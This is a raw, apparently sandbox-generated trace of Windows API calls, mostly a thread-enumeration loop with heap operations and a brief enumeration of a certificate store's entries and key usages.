1 [0081.352] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.353] GetTickCount () returned 0x2a222 [0081.353] GetCurrentThreadId () returned 0x9b0 [0081.353] GetCurrentThreadId () returned 0x9b0 [0081.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.354] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.355] GetTickCount () returned 0x2a222 [0081.355] GetCurrentThreadId () returned 0x9b0 [0081.355] GetCurrentThreadId () returned 0x9b0 [0081.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.355] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.356] GetTickCount () returned 0x2a222 [0081.356] GetCurrentThreadId () returned 0x9b0 [0081.356] GetCurrentThreadId () returned 0x9b0 [0081.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.356] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.357] GetTickCount () returned 0x2a222 [0081.357] GetCurrentThreadId () returned 0x9b0 [0081.357] GetCurrentThreadId () returned 0x9b0 [0081.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.357] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.358] GetTickCount () returned 0x2a222 [0081.358] GetCurrentThreadId () returned 0x9b0 [0081.358] GetCurrentThreadId () returned 0x9b0 [0081.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.358] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.359] GetTickCount () returned 0x2a222 [0081.359] GetCurrentThreadId () returned 0x9b0 [0081.359] GetCurrentThreadId () returned 0x9b0 [0081.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.360] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.361] GetTickCount () returned 0x2a222 [0081.361] GetCurrentThreadId () returned 0x9b0 [0081.361] GetCurrentThreadId () returned 0x9b0 [0081.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.361] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.362] GetTickCount () returned 0x2a231 [0081.362] GetCurrentThreadId () returned 0x9b0 [0081.362] GetCurrentThreadId () returned 0x9b0 [0081.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.362] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.363] GetTickCount () returned 0x2a231 [0081.363] GetCurrentThreadId () returned 0x9b0 [0081.363] GetCurrentThreadId () returned 0x9b0 [0081.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.364] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.364] GetTickCount () returned 0x2a231 [0081.365] GetCurrentThreadId () returned 0x9b0 [0081.365] GetCurrentThreadId () returned 0x9b0 [0081.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.365] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.366] GetTickCount () returned 0x2a231 [0081.366] GetCurrentThreadId () returned 0x9b0 [0081.366] GetCurrentThreadId () returned 0x9b0 [0081.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.366] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.367] GetTickCount () returned 0x2a231 [0081.367] GetCurrentThreadId () returned 0x9b0 [0081.367] GetCurrentThreadId () returned 0x9b0 [0081.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.367] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.368] GetTickCount () returned 0x2a231 [0081.368] GetCurrentThreadId () returned 0x9b0 [0081.368] GetCurrentThreadId () returned 0x9b0 [0081.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.368] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.369] GetTickCount () returned 0x2a231 [0081.369] GetCurrentThreadId () returned 0x9b0 [0081.369] GetCurrentThreadId () returned 0x9b0 [0081.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.369] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.370] GetTickCount () returned 0x2a231 [0081.370] GetCurrentThreadId () returned 0x9b0 [0081.371] GetCurrentThreadId () returned 0x9b0 [0081.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.371] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.372] GetTickCount () returned 0x2a231 [0081.372] GetCurrentThreadId () returned 0x9b0 [0081.372] GetCurrentThreadId () returned 0x9b0 [0081.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.372] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.373] GetTickCount () returned 0x2a231 [0081.373] GetCurrentThreadId () returned 0x9b0 [0081.373] GetCurrentThreadId () returned 0x9b0 [0081.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.373] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.374] GetTickCount () returned 0x2a231 [0081.374] GetCurrentThreadId () returned 0x9b0 [0081.374] GetCurrentThreadId () returned 0x9b0 [0081.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.374] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.375] GetTickCount () returned 0x2a231 [0081.375] GetCurrentThreadId () returned 0x9b0 [0081.375] GetCurrentThreadId () returned 0x9b0 [0081.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.375] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.376] GetTickCount () returned 0x2a241 [0081.378] GetCurrentThreadId () returned 0x9b0 [0081.378] GetCurrentThreadId () returned 0x9b0 [0081.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.378] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.379] GetTickCount () returned 0x2a241 [0081.379] GetCurrentThreadId () returned 0x9b0 [0081.379] GetCurrentThreadId () returned 0x9b0 [0081.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.379] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.380] GetTickCount () returned 0x2a241 [0081.380] GetCurrentThreadId () returned 0x9b0 [0081.380] GetCurrentThreadId () returned 0x9b0 [0081.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.380] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.381] GetTickCount () returned 0x2a241 [0081.381] GetCurrentThreadId () returned 0x9b0 [0081.381] GetCurrentThreadId () returned 0x9b0 [0081.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.381] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.382] GetTickCount () returned 0x2a241 [0081.382] GetCurrentThreadId () returned 0x9b0 [0081.382] GetCurrentThreadId () returned 0x9b0 [0081.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.383] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.384] GetTickCount () returned 0x2a241 [0081.384] GetCurrentThreadId () returned 0x9b0 [0081.384] GetCurrentThreadId () returned 0x9b0 [0081.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.384] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.385] GetTickCount () returned 0x2a241 [0081.385] GetCurrentThreadId () returned 0x9b0 [0081.385] GetCurrentThreadId () returned 0x9b0 [0081.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.385] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.386] GetTickCount () returned 0x2a241 [0081.386] GetCurrentThreadId () returned 0x9b0 [0081.386] GetCurrentThreadId () returned 0x9b0 [0081.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.386] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.387] GetTickCount () returned 0x2a241 [0081.387] GetCurrentThreadId () returned 0x9b0 [0081.387] GetCurrentThreadId () returned 0x9b0 [0081.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.387] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.388] GetTickCount () returned 0x2a241 [0081.389] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.389] GetTickCount () returned 0x2a241 [0081.390] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.390] GetTickCount () returned 0x2a241 [0081.391] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.391] GetTickCount () returned 0x2a241 [0081.392] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.393] GetTickCount () returned 0x2a251 [0081.393] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.394] GetTickCount () returned 0x2a251 [0081.394] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.395] GetTickCount () returned 0x2a251 [0081.395] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.396] GetTickCount () returned 0x2a251 [0081.396] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.397] GetTickCount () returned 0x2a251 [0081.397] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.398] GetTickCount () returned 0x2a251 [0081.398] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.399] GetTickCount () returned 0x2a251 [0081.399] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.400] GetTickCount () returned 0x2a251 [0081.400] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.401] GetTickCount () returned 0x2a251 [0081.401] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.402] GetTickCount () returned 0x2a251 [0081.402] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.403] GetTickCount () returned 0x2a251 [0081.403] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.404] GetTickCount () returned 0x2a251 [0081.404] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.405] GetTickCount () returned 0x2a251 [0081.405] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.406] GetTickCount () returned 0x2a251 [0081.406] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.407] GetTickCount () returned 0x2a251 [0081.407] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.408] GetTickCount () returned 0x2a260 [0081.408] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.409] GetTickCount () returned 0x2a260 [0081.409] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.410] GetTickCount () returned 0x2a260 [0081.410] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.411] GetTickCount () returned 0x2a260 [0081.411] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.412] GetTickCount () returned 0x2a260 [0081.412] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.413] GetTickCount () returned 0x2a260 [0081.413] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.414] GetTickCount () returned 0x2a260 [0081.414] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.415] GetTickCount () returned 0x2a260 [0081.415] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.416] GetTickCount () returned 0x2a260 [0081.416] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.417] GetTickCount () returned 0x2a260 [0081.417] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.418] GetTickCount () returned 0x2a260 [0081.418] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.419] GetTickCount () returned 0x2a260 [0081.419] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.421] GetTickCount () returned 0x2a260 [0081.421] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.422] GetTickCount () returned 0x2a260 [0081.423] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.447] GetTickCount () returned 0x2a27f [0081.447] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.448] GetTickCount () returned 0x2a27f [0081.448] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.449] GetTickCount () returned 0x2a27f [0081.449] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.450] GetTickCount () returned 0x2a27f [0081.450] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.451] GetTickCount () returned 0x2a27f [0081.451] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.452] GetTickCount () returned 0x2a27f [0081.452] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.453] GetTickCount () returned 0x2a27f [0081.453] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.454] GetTickCount () returned 0x2a27f [0081.454] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.455] GetTickCount () returned 0x2a28f [0081.455] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.456] GetTickCount () returned 0x2a28f [0081.456] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.457] GetTickCount () returned 0x2a28f [0081.457] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.458] GetTickCount () returned 0x2a28f [0081.458] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.459] GetTickCount () returned 0x2a28f [0081.459] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.460] GetTickCount () returned 0x2a28f [0081.460] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.461] GetTickCount () returned 0x2a28f [0081.461] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.462] GetTickCount () returned 0x2a28f [0081.462] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.463] GetTickCount () returned 0x2a28f [0081.463] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.464] GetTickCount () returned 0x2a28f [0081.464] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.465] GetTickCount () returned 0x2a28f [0081.465] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.466] GetTickCount () returned 0x2a28f [0081.466] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.467] GetTickCount () returned 0x2a28f [0081.467] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.468] GetTickCount () returned 0x2a28f [0081.468] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.469] GetTickCount () returned 0x2a28f [0081.469] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.470] GetTickCount () returned 0x2a28f [0081.470] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.471] GetTickCount () returned 0x2a28f [0081.471] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.472] GetTickCount () returned 0x2a29f [0081.472] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.473] GetTickCount () returned 0x2a29f [0081.473] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.474] GetTickCount () returned 0x2a29f [0081.474] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.475] GetTickCount () returned 0x2a29f [0081.475] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.476] GetTickCount () returned 0x2a29f [0081.476] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.477] GetTickCount () returned 0x2a29f [0081.477] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.478] GetTickCount () returned 0x2a29f [0081.478] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.479] GetTickCount () returned 0x2a29f [0081.479] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.480] GetTickCount () returned 0x2a29f [0081.480] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.481] GetTickCount () returned 0x2a29f [0081.481] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.482] GetTickCount () returned 0x2a29f [0081.482] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.483] GetTickCount () returned 0x2a29f [0081.483] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.484] GetTickCount () returned 0x2a29f [0081.484] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.485] GetTickCount () returned 0x2a29f [0081.523] CloseHandle (hObject=0x37c) returned 1 [0081.523] FreeLibrary (hLibModule=0x75e90000) returned 1 [0081.523] QueryPerformanceCounter (in: lpPerformanceCount=0x9ba320 | out: lpPerformanceCount=0x9ba320*=17278337228) returned 1 [0081.523] GlobalMemoryStatus (in: lpBuffer=0x9ba34c | out: lpBuffer=0x9ba34c) [0081.523] GetCurrentProcessId () returned 0xdbc [0081.524] CertOpenStore (lpszStoreProvider=0x9, dwEncodingType=0x0, hCryptProv=0x0, dwFlags=0x28000, pvPara=0x30a9d0c) returned 0x1060ea8 [0081.544] CertEnumCertificatesInStore (hCertStore=0x1060ea8, pPrevCertContext=0x0) returned 0x1053130 [0081.545] CertGetEnhancedKeyUsage (in: pCertContext=0x1053130, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.545] GetLastError () returned 0x80092004 [0081.545] CertGetEnhancedKeyUsage (in: pCertContext=0x1053130, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.546] GetLastError () returned 0x80092004 [0081.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c821a8 [0081.546] CertEnumCertificatesInStore (hCertStore=0x1060ea8, pPrevCertContext=0x1053130) returned 0x1053040 [0081.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x39c) returned 0x33f2338 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053040, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.546] GetLastError () returned 0x80092004 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053040, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x78) returned 0x33f61a0 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053040, dwFlags=0x2, pUsage=0x33f61a0, pcbUsage=0x9ba874 | out: pUsage=0x33f61a0, pcbUsage=0x9ba874) returned 1 [0081.546] CertEnumCertificatesInStore (hCertStore=0x1060ea8, pPrevCertContext=0x1053040) returned 0x1053130 [0081.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053130, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.546] GetLastError () returned 0x80092004 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053130, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18ea8 [0081.546] CertGetEnhancedKeyUsage (in: pCertContext=0x1053130, dwFlags=0x2, pUsage=0x2a18ea8, pcbUsage=0x9ba874 | out: pUsage=0x2a18ea8, pcbUsage=0x9ba874) returned 1 [0081.547] CertEnumCertificatesInStore (hCertStore=0x1060ea8, pPrevCertContext=0x1053130) returned 0x0 [0081.547] CertCloseStore (hCertStore=0x1060ea8, dwFlags=0x0) returned 1 [0081.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1cf) returned 0x33f28e0 [0081.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33f28e0, Size=0x556) returned 0x33f36e8 [0081.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0081.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c821a8 | out: hHeap=0x2ad0000) returned 1 [0081.547] GetLastError () returned 0x80092004 [0081.548] GetCurrentThreadId () returned 0x9b0 [0081.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82208 [0081.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b00 [0081.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c821c0 [0081.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82160 [0081.548] GetCurrentThreadId () returned 0x9b0 [0081.548] GetCurrentThreadId () returned 0x9b0 [0081.548] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x31de888 [0081.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18f80 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c822c8 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.549] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] GetCurrentThreadId () returned 0x9b0 [0081.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82250 | out: hHeap=0x2ad0000) returned 1 [0081.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19968 [0081.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a9a8 [0081.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c821d8 [0081.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0081.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183be0 [0081.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a40 [0081.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c820b8 [0081.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82298 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82058 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ff8 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839e0 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a20 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c820d0 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82220 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82040 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de568 [0081.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c820a0 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82118 [0081.554] GetCurrentThreadId () returned 0x9b0 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c820e8 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c20 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82100 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82130 [0081.554] GetCurrentThreadId () returned 0x9b0 [0081.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82298 | out: hHeap=0x2ad0000) returned 1 [0081.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c820b8 | out: hHeap=0x2ad0000) returned 1 [0081.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0081.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0081.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183be0 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839a0 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c821a8 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82268 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20078 [0081.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a00 [0081.555] RtlAllocateHeap 